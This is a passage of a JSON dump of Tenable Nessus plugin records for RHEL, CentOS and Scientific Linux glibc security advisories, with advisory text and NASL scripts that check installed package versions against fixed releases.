RHBA-2011:1179 glibc update introduced a regression, causing glibc to incorrectly parse groups with more than 126 members, resulting in applications such as 'id' failing to list all the groups a particular user was a member of. With this update, group parsing has been fixed. (BZ#766484)\n\n* glibc incorrectly allocated too much memory due to a race condition within its own malloc routines. This could cause a multi-threaded application to allocate more memory than was expected. With this update, the race condition has been fixed, and malloc's behavior is now consistent with the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX environment variables. (BZ#769594)\n\nUsers should upgrade to these updated packages, which contain backported patches to resolve these issues.", "edition": 4, "reporter": "Tenable", "published": "2012-01-25T00:00:00", "title": "RHEL 6 : glibc (RHSA-2012:0058)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "Red Hat Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2018-07-25T00:00:00", "cpe": ["p-cpe:/a:redhat:enterprise_linux:glibc-static", "p-cpe:/a:redhat:enterprise_linux:glibc-utils", "p-cpe:/a:redhat:enterprise_linux:glibc", "p-cpe:/a:redhat:enterprise_linux:glibc-common", "p-cpe:/a:redhat:enterprise_linux:glibc-devel", "p-cpe:/a:redhat:enterprise_linux:nscd", "cpe:/o:redhat:enterprise_linux:6.2", "p-cpe:/a:redhat:enterprise_linux:glibc-headers", "cpe:/o:redhat:enterprise_linux:6", "p-cpe:/a:redhat:enterprise_linux:glibc-debuginfo", "p-cpe:/a:redhat:enterprise_linux:glibc-debuginfo-common"], "id": "REDHAT-RHSA-2012-0058.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=57676", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0058. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57676);\n script_version (\"1.13\");\n script_cvs_date(\"Date: 2018/07/25 18:58:06\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n script_bugtraq_id(51439);\n script_xref(name:\"RHSA\", value:\"2012:0058\");\n\n script_name(english:\"RHEL 6 : glibc (RHSA-2012:0058)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix two security issues and three bugs are\nnow available for Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs :\n\n* glibc had incorrect information for numeric separators and groupings\nfor specific French, Spanish, and German locales. Therefore,\napplications utilizing glibc's locale support printed numbers with the\nwrong separators and groupings when those locales were in use. With\nthis update, the separator and grouping information has been fixed.\n(BZ#754116)\n\n* The RHBA-2011:1179 glibc update introduced a regression, causing\nglibc to incorrectly parse groups with more than 126 members,\nresulting in applications such as 'id' failing to list all the groups\na particular user was a member of. With this update, group parsing has\nbeen fixed. (BZ#766484)\n\n* glibc incorrectly allocated too much memory due to a race condition\nwithin its own malloc routines. This could cause a multi-threaded\napplication to allocate more memory than was expected. With this\nupdate, the race condition has been fixed, and malloc's behavior is\nnow consistent with the documentation regarding the MALLOC_ARENA_TEST\nand MALLOC_ARENA_MAX environment variables. (BZ#769594)\n\nUsers should upgrade to these updated packages, which contain\nbackported patches to resolve these issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5029.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-4609.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://rhn.redhat.com/errata/RHBA-2011-1179.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://rhn.redhat.com/errata/RHSA-2012-0058.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-debuginfo-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-static\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6.2\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/01/25\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = eregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 6.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2012:0058\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL6\", reference:\"glibc-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"glibc-common-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"glibc-common-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"glibc-common-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"glibc-debuginfo-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"glibc-debuginfo-common-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"glibc-devel-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"glibc-headers-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"glibc-headers-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"glibc-headers-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"glibc-static-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"glibc-utils-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"glibc-utils-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"glibc-utils-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"nscd-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"nscd-2.12-1.47.el6_2.5\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"nscd-2.12-1.47.el6_2.5\")) flag++;\n\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-debuginfo / glibc-debuginfo-common / etc\");\n }\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-10-29T13:44:06", "references": ["http://www.nessus.org/u?42c155a6"], "pluginID": "61223", "edition": 2, "description": "The glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs :\n\n - glibc had incorrect information for numeric separators and groupings for specific French, Spanish, and German locales. Therefore, applications utilizing glibc's locale support printed numbers with the wrong separators and groupings when those locales were in use. With this update, the separator and grouping information has been fixed.\n\n - The 2.12-1.25.el6_1.3 glibc update introduced a regression, causing glibc to incorrectly parse groups with more than 126 members, resulting in applications such as 'id' failing to list all the groups a particular user was a member of. With this update, group parsing has been fixed.\n\n - glibc incorrectly allocated too much memory due to a race condition within its own malloc routines. This could cause a multi-threaded application to allocate more memory than was expected. With this update, the race condition has been fixed, and malloc's behavior is now consistent with the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX environment variables.\n\nUsers should upgrade to these updated packages, which contain backported patches to resolve these issues.", "reporter": "Tenable", "published": "2012-08-01T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "nessus", "title": "Scientific Linux Security Update : glibc on SL6.x i386/x86_64", "naslFamily": "Scientific Linux Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "cpe": ["x-cpe:/o:fermilab:scientific_linux"], "modified": "2013-05-04T00:00:00", "id": "SL_20120124_GLIBC_ON_SL6_X.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=61223", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text is (C) Scientific Linux.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(61223);\n script_version(\"$Revision: 1.3 $\");\n script_cvs_date(\"$Date: 2013/05/04 23:38:20 $\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n\n script_name(english:\"Scientific Linux Security Update : glibc on SL6.x i386/x86_64\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Scientific Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs :\n\n - glibc had incorrect information for numeric separators\n and groupings for specific French, Spanish, and German\n locales. Therefore, applications utilizing glibc's\n locale support printed numbers with the wrong separators\n and groupings when those locales were in use. With this\n update, the separator and grouping information has been\n fixed.\n\n - The 2.12-1.25.el6_1.3 glibc update introduced a\n regression, causing glibc to incorrectly parse groups\n with more than 126 members, resulting in applications\n such as 'id' failing to list all the groups a particular\n user was a member of. With this update, group parsing\n has been fixed.\n\n - glibc incorrectly allocated too much memory due to a\n race condition within its own malloc routines. This\n could cause a multi-threaded application to allocate\n more memory than was expected. With this update, the\n race condition has been fixed, and malloc's behavior is\n now consistent with the documentation regarding the\n MALLOC_ARENA_TEST and MALLOC_ARENA_MAX environment\n variables.\n\nUsers should upgrade to these updated packages, which contain\nbackported patches to resolve these issues.\"\n );\n # http://listserv.fnal.gov/scripts/wa.exe?A2=ind1201&L=scientific-linux-errata&T=0&P=1716\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?42c155a6\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"x-cpe:/o:fermilab:scientific_linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/08/01\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2013 Tenable Network Security, Inc.\");\n script_family(english:\"Scientific Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Scientific Linux \" >!< release) audit(AUDIT_HOST_NOT, \"running Scientific Linux\");\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu >!< \"x86_64\" && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Scientific Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"SL6\", reference:\"glibc-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"glibc-common-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"glibc-debuginfo-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"glibc-debuginfo-common-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"glibc-devel-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"glibc-headers-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"glibc-static-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"glibc-utils-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"nscd-2.12-1.47.el6_2.5\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-07-03T09:45:29", "references": ["http://www.nessus.org/u?94466db4"], "pluginID": "57730", "description": "Updated glibc packages that fix two security issues and three bugs are now available for Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs :\n\n* glibc had incorrect information for numeric separators and groupings for specific French, Spanish, and German locales. Therefore, applications utilizing glibc's locale support printed numbers with the wrong separators and groupings when those locales were in use. With this update, the separator and grouping information has been fixed.\n(BZ#754116)\n\n* The RHBA-2011:1179 glibc update introduced a regression, causing glibc to incorrectly parse groups with more than 126 members, resulting in applications such as 'id' failing to list all the groups a particular user was a member of. With this update, group parsing has been fixed. (BZ#766484)\n\n* glibc incorrectly allocated too much memory due to a race condition within its own malloc routines. This could cause a multi-threaded application to allocate more memory than was expected. With this update, the race condition has been fixed, and malloc's behavior is now consistent with the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX environment variables. (BZ#769594)\n\nUsers should upgrade to these updated packages, which contain backported patches to resolve these issues.", "edition": 3, "reporter": "Tenable", "published": "2012-01-31T00:00:00", "title": "CentOS 6 : glibc (CESA-2012:0058)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "CentOS Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2018-07-02T00:00:00", "cpe": ["p-cpe:/a:centos:centos:glibc-common", "cpe:/o:centos:centos:6", "p-cpe:/a:centos:centos:nscd", "p-cpe:/a:centos:centos:glibc-utils", "p-cpe:/a:centos:centos:glibc-devel", "p-cpe:/a:centos:centos:glibc-static", "p-cpe:/a:centos:centos:glibc-headers", "p-cpe:/a:centos:centos:glibc"], "id": "CENTOS_RHSA-2012-0058.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=57730", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0058 and \n# CentOS Errata and Security Advisory 2012:0058 respectively.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57730);\n script_version(\"1.7\");\n script_cvs_date(\"Date: 2018/07/02 18:48:52\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n script_bugtraq_id(51439);\n script_xref(name:\"RHSA\", value:\"2012:0058\");\n\n script_name(english:\"CentOS 6 : glibc (CESA-2012:0058)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote CentOS host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix two security issues and three bugs are\nnow available for Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs :\n\n* glibc had incorrect information for numeric separators and groupings\nfor specific French, Spanish, and German locales. Therefore,\napplications utilizing glibc's locale support printed numbers with the\nwrong separators and groupings when those locales were in use. With\nthis update, the separator and grouping information has been fixed.\n(BZ#754116)\n\n* The RHBA-2011:1179 glibc update introduced a regression, causing\nglibc to incorrectly parse groups with more than 126 members,\nresulting in applications such as 'id' failing to list all the groups\na particular user was a member of. With this update, group parsing has\nbeen fixed. (BZ#766484)\n\n* glibc incorrectly allocated too much memory due to a race condition\nwithin its own malloc routines. This could cause a multi-threaded\napplication to allocate more memory than was expected. With this\nupdate, the race condition has been fixed, and malloc's behavior is\nnow consistent with the documentation regarding the MALLOC_ARENA_TEST\nand MALLOC_ARENA_MAX environment variables. (BZ#769594)\n\nUsers should upgrade to these updated packages, which contain\nbackported patches to resolve these issues.\"\n );\n # http://lists.centos.org/pipermail/centos-announce/2012-January/018397.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?94466db4\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected glibc packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-static\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:6\");\n\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/01/31\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"CentOS Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/CentOS/release\")) audit(AUDIT_OS_NOT, \"CentOS\");\nif (!get_kb_item(\"Host/CentOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"CentOS\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"CentOS-6\", reference:\"glibc-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"glibc-common-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"glibc-devel-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"glibc-headers-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"glibc-static-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"glibc-utils-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"nscd-2.12-1.47.el6_2.5\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-10-29T13:45:33", "references": ["http://www.nessus.org/u?c29d3bc6"], "pluginID": "61244", "edition": 2, "description": "The glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nUsers should upgrade to these updated packages, which resolve these issues.", "reporter": "Tenable", "published": "2012-08-01T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "nessus", "title": "Scientific Linux Security Update : glibc on SL5.x i386/x86_64", "naslFamily": "Scientific Linux Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "cpe": ["x-cpe:/o:fermilab:scientific_linux"], "modified": "2013-05-04T00:00:00", "id": "SL_20120213_GLIBC_ON_SL5_X.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=61244", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text is (C) Scientific 